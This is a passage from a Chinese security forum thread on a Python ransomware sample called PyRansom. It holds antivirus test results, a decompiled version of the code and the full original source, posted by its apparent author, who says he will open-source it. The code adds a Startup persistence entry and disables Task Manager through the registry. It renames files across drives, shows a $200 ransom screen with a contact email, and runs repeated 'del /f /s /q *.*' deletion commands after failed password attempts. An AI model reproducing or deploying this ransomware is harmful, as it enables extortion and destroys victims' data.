123
返回列表 发新帖
楼主: python无名氏
收起左侧

[病毒样本] PyRansom勒索软件

[复制链接]
呵呵大神001
发表于 2023-1-18 11:53:31 | 显示全部楼层
Sentinelone kill
crowdstrike miss
popk
发表于 2023-1-18 12:33:28 | 显示全部楼层
本帖最后由 popk 于 2023-1-18 12:36 编辑
  1. # Source Generated with Decompyle++
  2. # File: Pyransom.pyc (Python 3.10)

  3. import os
  4. import sys
  5. import base64
  6. import random
  7. import tkinter as tk
  8. import getpass
  9. import time
  10. from tkinter import messagebox as me
  11. user = getpass.getuser()
  12. change = 5

  13. try:
  14.     copy = open(f'''C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PyRansom.bat''', 'w')
  15.     copy.write('[url=home.php?mod=space&uid=331734]@echo[/url] off\r\nstart' + sys.executable)
  16.     copy.close()
  17. finally:
  18.     pass

  19. def jing():
  20.    
  21.     try:
  22.         filess = open(f'''C:/Users/{user}/Documents/tkmgr.reg''', 'w')
  23.         filess.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]\r\n"DisableTaskMgr"=dword:02')
  24.         filess.close()
  25.         os.popen(f'''start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg''')
  26.     finally:
  27.         return None
  28.         return None



  29. def huan():
  30.    
  31.     try:
  32.         filed = open(f'''C:/Users/{user}/Documents/tkmgr.reg''', 'w')
  33.         filed.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]\r\n"DisableTaskMgr"=dword:00')
  34.         filed.close()
  35.         os.popen(f'''start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg''')
  36.     finally:
  37.         return None
  38.         return None


  39. jing()
  40. me.showerror('Microsoft Visual C++ Runtime Error', 'Runtime error!')
  41. mulu = [
  42.     'C:/',
  43.     'D:/',
  44.     'E:/',
  45.     'F:/',
  46.     'G:/',
  47.     'H:/',
  48.     f'''C:/Users/{user}/''']

  49. def lib(mulu):
  50.    
  51.     def path(path = None):
  52.         
  53.         try:
  54.             for file in os.listdir(mulu + path + '/.'):
  55.                 if '.' in os.path.splitext(file)[1]:
  56.                     
  57.                     try:
  58.                         os.rename(mulu + path + '/' + file, mulu + path + '/' + file + '.pyransom')
  59.                     finally:
  60.                         continue
  61.                         continue
  62.                         continue
  63.                         return None
  64.                         return None



  65.    
  66.     try:
  67.         for file in os.listdir(mulu + '.'):
  68.             
  69.             try:
  70.                 if '.' in os.path.splitext(file)[1]:
  71.                     
  72.                     try:
  73.                         os.rename(mulu + path + '/' + file, mulu + path + '/' + file + '.pyransom')
  74.                     finally:
  75.                         pass
  76.                     path(file)
  77.                     continue
  78.                     continue
  79.                     return None
  80.                     return None




  81. for i in mulu:
  82.     lib(i)
  83. for hhhh in range(1, 20):
  84.    
  85.     try:
  86.         oooo = open(f'''C:/Users/{user}/desktop/{hhhh}.txt.pyransom''', 'w')
  87.         oooo.write('Pay Now!!!')
  88.         oooo.close()
  89.     finally:
  90.         continue
  91.         continue
  92.         
  93.         def close():
  94.             print('hello!')

  95.         temp = open('icon.gif', 'wb+')
  96.         tempb64 = base64.b64decode('R0lGODlhQABAAPAAAAAAAAAAACH5BAEAAAAAIf8LSW1hZ2VNYWdpY2sOZ2FtbWE9MC40NTQ1NDUAIf8LWE1QIERhdGFYTVA8P3hwYWNrZXQgYmVnaW49J++7vycgaWQ9J1c1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCc/Pgo8eDp4bXBtZXRhIHhtbG5zOng9J2Fkb2JlOm5zOm1ldGEvJyB4OnhtcHRrPSdJbWFnZTo6RXhpZlRvb2wgMTIuNDAnPgo8cmRmOlJERiB4bWxuczpyZGY9J2h0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnPgoKIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PScnCiAgeG1sbnM6dGlmZj0naHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8nPgogIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiA8L3JkZjpEZXNjcmlwdGlvbj4KPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0ndyc/PgH//v38+/r5+Pf29fTz8vHw7+7t7Ovq6ejn5uXk4+Lh4N/e3dzb2tnY19bV1NPS0dDPzs3My8rJyMfGxcTDwsHAv769vLu6ubi3trW0s7KxsK+urayrqqmop6alpKOioaCfnp2cm5qZmJeWlZSTkpGQj46NjIuKiYiHhoWEg4KBgH9+fXx7enl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmFgX15dXFtaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQUA/Pj08Ozo5ODc2NTQzMjEwLy4tLCsqKSgnJiUkIyIhIB8eHRwbGhkYFxYVFBMSERAPDg0MCwoJCAcGBQQDAgEAACwAAAAAQABAAAAC6YSPqavhD5mctBqIs9085a914gSW0Ygi5uqkKQu7IkzLW13blCnxeg+ylH6M4O1DbBiFyKSqyVk6pcyQEwDtZInUI+aK3Xq/U3GVnOyeT2lzRS2D79wuOYkOzuv3NpqfrfMnaDc3aGgVdaiINraoqOUYGZAouUhZeXiJOai5+dfpmbMWKvpGKgjq9/TY+KlkmMoCxNla6gFbG1OEO2q7iporu0vbq/tKbMr7C1xsaxlsfMHaHB2WCS188EydLX3NvXL7naxsXX437Rh7SrjMHo79DlgoDw9ePxmPD4nfftz/4AXAgHUGIigAADs=')
  97.         temp.write(tempb64)
  98.         temp.close()
  99.         ID = random.randint(100000, 1000000)
  100.         password = str((ID + 3) * 2)
  101.         print('Password:' + password + '    ID:' + str(ID))
  102.         root = tk.Tk()
  103.         
  104.         def get():
  105.             global change
  106.             if change != 0:
  107.                 if entry.get() == password:
  108.                     os.system('ren *.pyransom *.')
  109.                     os.remove(f'''C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PyRansom.bat''')
  110.                     huan()
  111.                     time.sleep(4)
  112.                     root.destroy()
  113.                     return None
  114.                 change = None - 1
  115.                 return None
  116.             None.system('del /f /s /q *.*')
  117.             os.system('del /f /s /q *.*')
  118.             os.system('del /f /s /q *.*')
  119.             os.system('del /f /s /q *.*')
  120.             os.system('del /f /s /q *.*')
  121.             os.system('del /f /s /q *.*')
  122.             os.system('del /f /s /q *.*.pyransom')
  123.             os.system('del /f /s /q *.*')
  124.             os.system('del /f /s /q *.*')
  125.             os.system('del /f /s /q *.*')
  126.             os.system('del /f /s /q *.*')
  127.             os.system('del /f /s /q *.*')
  128.             os.system('del /f /s /q *.*')
  129.             os.system('del /f /s /q *.*')
  130.             os.system('del /f /s /q *.*')
  131.             print('error!')

  132.         root.config('red', **('background',))
  133.         photo = tk.PhotoImage('icon.gif', **('file',))
  134.         icon = tk.Label(root, photo, **('image',))
  135.         icon.pack()
  136.         os.remove('icon.gif')
  137.         width = 900
  138.         height = 500
  139.         screenwidth = root.winfo_screenwidth()
  140.         screenheight = root.winfo_screenheight()
  141.         alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth - width) / 2, (screenheight - height) / 2)
  142.         root.geometry(alignstr)
  143.         root.resizable(False, False, **('width', 'height'))
  144.         root.wm_attributes('-topmost', 1)
  145.         first = tk.Label(root, 'All your file have been encrypt!', 'red', **('text', 'bg'))
  146.         first.config(('Arial', 20), **('font',))
  147.         first.pack()
  148.         a = tk.Label(root, 'All your files have been encrypted due to a security problem with your PC. If you want to restore them, ', 'red', **('text', 'bg'))
  149.         a.config(('Arial', 15), **('font',))
  150.         a.pack()
  151.         c = tk.Label(root, 'write us to the e-mail:pythonhavenoname@163.com', 'red', **('text', 'bg'))
  152.         c.config(('Arial', 15), **('font',))
  153.         c.pack()
  154.         b = tk.Label(root, 'Write This ID in the title of your message:' + str(ID), 'red', **('text', 'bg'))
  155.         b.config(('Arial', 15), **('font',))
  156.         b.pack()
  157.         d = tk.Label(root, 'You should pay 200$ to us.', 'red', **('text', 'bg'))
  158.         d.config(('Arial', 15), **('font',))
  159.         d.pack()
  160.         e = tk.Label(root, 'If you pay,we will send you decrypt password.', 'red', **('text', 'bg'))
  161.         e.config(('Arial', 15), **('font',))
  162.         e.pack()
  163.         f = tk.Label(root, 'you only have ' + str(change) + ' change.', 'red', **('text', 'bg'))
  164.         f.config(('Arial', 15), **('font',))
  165.         f.pack()
  166.         info = tk.Label(root, 'Password:', 'red', **('text', 'bg'))
  167.         info.config(('Arial', 15), **('font',))
  168.         info.pack()
  169.         entry = tk.Entry(root, 100, **('width',))
  170.         entry.pack()
  171.         ok = tk.Button(root, 'Decrypt', get, **('text', 'command'))
  172.         ok.pack('bottom', **('side',))
  173.         root.protocol('WM_DELETE_WINDOW', close)
  174.         root.overrideredirect(True)
  175.         root.mainloop()
  176.         return None




  177. #可以尝试用nuitka打包
复制代码
python无名氏
 楼主| 发表于 2023-1-18 12:47:49 | 显示全部楼层
本帖最后由 python无名氏 于 2023-1-18 12:55 编辑

嘤嘤嘤,别再让我看到这玩意,调试了整整两个晚上。对了,这玩意反正我几天后就放github上永久开源,源码什么的,无所谓
(其实我是想让他顶替掉上一任python勒索平台deathransom的)
  1. import os,sys
  2. import base64
  3. import random
  4. import tkinter as tk
  5. import getpass
  6. import time
  7. from tkinter import messagebox as me
  8. user = getpass.getuser()
  9. change = 5
  10. try:
  11.     copy = open(f'C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PyRansom.bat','w')
  12.     copy.write('[url=home.php?mod=space&uid=331734]@echo[/url] off\r\nstart'+sys.executable)
  13.     copy.close()
  14. except:
  15.     pass
  16. def jing():
  17.     global user
  18.     try:
  19.         filess = open(f'C:/Users/{user}/Documents/tkmgr.reg','w')
  20.         filess.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]\r\n"DisableTaskMgr"=dword:02')
  21.         filess.close()
  22.         os.popen(f'start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg')
  23.     except:
  24.         pass
  25. def huan():
  26.     global user
  27.     try:
  28.         filed = open(f'C:/Users/{user}/Documents/tkmgr.reg','w')
  29.         filed.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]\r\n"DisableTaskMgr"=dword:00')
  30.         filed.close()
  31.         os.popen(f'start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg')
  32.     except:
  33.         pass
  34. jing()
  35. me.showerror("Microsoft Visual C++ Runtime Error","Runtime error!")
  36. mulu = ['C:/','D:/','E:/','F:/','G:/','H:/',f'C:/Users/{user}/']
  37. def lib(mulu):
  38.     def path(path):
  39.         try:
  40.             for file in os.listdir(mulu+path+r"/."):
  41.                 if '.' in os.path.splitext(file)[1]:
  42.                     try:
  43.                         os.rename(mulu+path+'/'+file,mulu+path+'/'+file+".pyransom")
  44.                     except:
  45.                         pass
  46.                 else:
  47.                     pass
  48.         except:
  49.             pass
  50.     try:
  51.         for file in os.listdir(mulu+r"."):
  52.             try:
  53.                 if '.' in os.path.splitext(file)[1]:
  54.                     try:
  55.                         os.rename(mulu+path+'/'+file,mulu+path+'/'+file+".pyransom")
  56.                     except:
  57.                         pass
  58.                 else:
  59.                     path(file)
  60.                     pass
  61.             except:
  62.                 pass
  63.     except:
  64.         pass
  65. for i in mulu:
  66.     lib(i)
  67. for hhhh in range(1,20):
  68.     try:
  69.         oooo = open(f'C:/Users/{user}/desktop/{hhhh}.txt.pyransom','w')
  70.         oooo.write('Pay Now!!!')
  71.         oooo.close()
  72.     except:
  73.         pass
  74. def close():
  75.     print('hello!')
  76. temp = open("icon.gif","wb+")
  77. tempb64=base64.b64decode('R0lGODlhQABAAPAAAAAAAAAAACH5BAEAAAAAIf8LSW1hZ2VNYWdpY2sOZ2FtbWE9MC40NTQ1NDUAIf8LWE1QIERhdGFYTVA8P3hwYWNrZXQgYmVnaW49J++7vycgaWQ9J1c1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCc/Pgo8eDp4bXBtZXRhIHhtbG5zOng9J2Fkb2JlOm5zOm1ldGEvJyB4OnhtcHRrPSdJbWFnZTo6RXhpZlRvb2wgMTIuNDAnPgo8cmRmOlJERiB4bWxuczpyZGY9J2h0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnPgoKIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PScnCiAgeG1sbnM6dGlmZj0naHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8nPgogIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiA8L3JkZjpEZXNjcmlwdGlvbj4KPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0ndyc/PgH//v38+/r5+Pf29fTz8vHw7+7t7Ovq6ejn5uXk4+Lh4N/e3dzb2tnY19bV1NPS0dDPzs3My8rJyMfGxcTDwsHAv769vLu6ubi3trW0s7KxsK+urayrqqmop6alpKOioaCfnp2cm5qZmJeWlZSTkpGQj46NjIuKiYiHhoWEg4KBgH9+fXx7enl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmFgX15dXFtaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQUA/Pj08Ozo5ODc2NTQzMjEwLy4tLCsqKSgnJiUkIyIhIB8eHRwbGhkYFxYVFBMSERAPDg0MCwoJCAcGBQQDAgEAACwAAAAAQABAAAAC6YSPqavhD5mctBqIs9085a914gSW0Ygi5uqkKQu7IkzLW13blCnxeg+ylH6M4O1DbBiFyKSqyVk6pcyQEwDtZInUI+aK3Xq/U3GVnOyeT2lzRS2D79wuOYkOzuv3NpqfrfMnaDc3aGgVdaiINraoqOUYGZAouUhZeXiJOai5+dfpmbMWKvpGKgjq9/TY+KlkmMoCxNla6gFbG1OEO2q7iporu0vbq/tKbMr7C1xsaxlsfMHaHB2WCS188EydLX3NvXL7naxsXX437Rh7SrjMHo79DlgoDw9ePxmPD4nfftz/4AXAgHUGIigAADs=')
  78. temp.write(tempb64)
  79. temp.close()
  80. ID = random.randint(100000,1000000)
  81. password = str((ID+3)*2)
  82. print("Password:"+password+"    ID:"+str(ID))
  83. root = tk.Tk()
  84. def get():
  85.     global change
  86.     global user
  87.     if change != 0:
  88.         if entry.get() == password:
  89.             os.system('ren *.pyransom *.')
  90.             os.remove(f'C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PyRansom.bat')
  91.             huan()
  92.             time.sleep(4)
  93.             root.destroy()
  94.         else:
  95.             change = change-1
  96.     else:
  97.         os.system('del /f /s /q *.*')
  98.         os.system('del /f /s /q *.*')
  99.         os.system('del /f /s /q *.*')
  100.         os.system('del /f /s /q *.*')
  101.         os.system('del /f /s /q *.*')
  102.         os.system('del /f /s /q *.*')
  103.         os.system('del /f /s /q *.*.pyransom')
  104.         os.system('del /f /s /q *.*')
  105.         os.system('del /f /s /q *.*')
  106.         os.system('del /f /s /q *.*')
  107.         os.system('del /f /s /q *.*')
  108.         os.system('del /f /s /q *.*')
  109.         os.system('del /f /s /q *.*')
  110.         os.system('del /f /s /q *.*')
  111.         os.system('del /f /s /q *.*')
  112.         print("error!")
  113. root.config(background = "red")
  114. photo = tk.PhotoImage(file="icon.gif")
  115. icon = tk.Label(root,image=photo)
  116. icon.pack()
  117. os.remove("icon.gif")
  118. width = 900
  119. height = 500
  120. screenwidth = root.winfo_screenwidth()
  121. screenheight = root.winfo_screenheight()
  122. alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth-width)/2, (screenheight-height)/2)
  123. root.geometry(alignstr)
  124. root.resizable(width=False,height=False)
  125. root.wm_attributes('-topmost',1)
  126. first = tk.Label(root,text="All your file have been encrypt!",bg="red")
  127. first.config(font=("Arial",20))
  128. first.pack()
  129. a = tk.Label(root,text="All your files have been encrypted due to a security problem with your PC. If you want to restore them, ",bg="red")
  130. a.config(font=("Arial",15))
  131. a.pack()
  132. c = tk.Label(root,text="write us to the e-mail:pythonhavenoname@163.com",bg="red")
  133. c.config(font=("Arial",15))
  134. c.pack()
  135. b = tk.Label(root,text="Write This ID in the title of your message:"+str(ID),bg="red")
  136. b.config(font=("Arial",15))
  137. b.pack()
  138. d = tk.Label(root,text="You should pay 200$ to us.",bg="red")
  139. d.config(font=("Arial",15))
  140. d.pack()
  141. e = tk.Label(root,text="If you pay,we will send you decrypt password.",bg="red")
  142. e.config(font=("Arial",15))
  143. e.pack()
  144. f = tk.Label(root,text="you only have "+str(change)+" change.",bg="red")
  145. f.config(font=("Arial",15))
  146. f.pack()
  147. info = tk.Label(root,text="Password:",bg="red")
  148. info.config(font=("Arial",15))
  149. info.pack()
  150. entry = tk.Entry(root,width=100)
  151. entry.pack()
  152. ok = tk.Button(root,text="Decrypt",command=get)
  153. ok.pack(side="bottom")
  154. root.protocol("WM_DELETE_WINDOW",close)
  155. root.overrideredirect(True)
  156. root.mainloop()
复制代码


huorong
发表于 2023-1-18 18:34:29 | 显示全部楼层
本帖最后由 huorong 于 2023-1-18 18:35 编辑

360领航版挑战失败
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-2 16:24 , Processed in 0.091523 second(s), 14 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表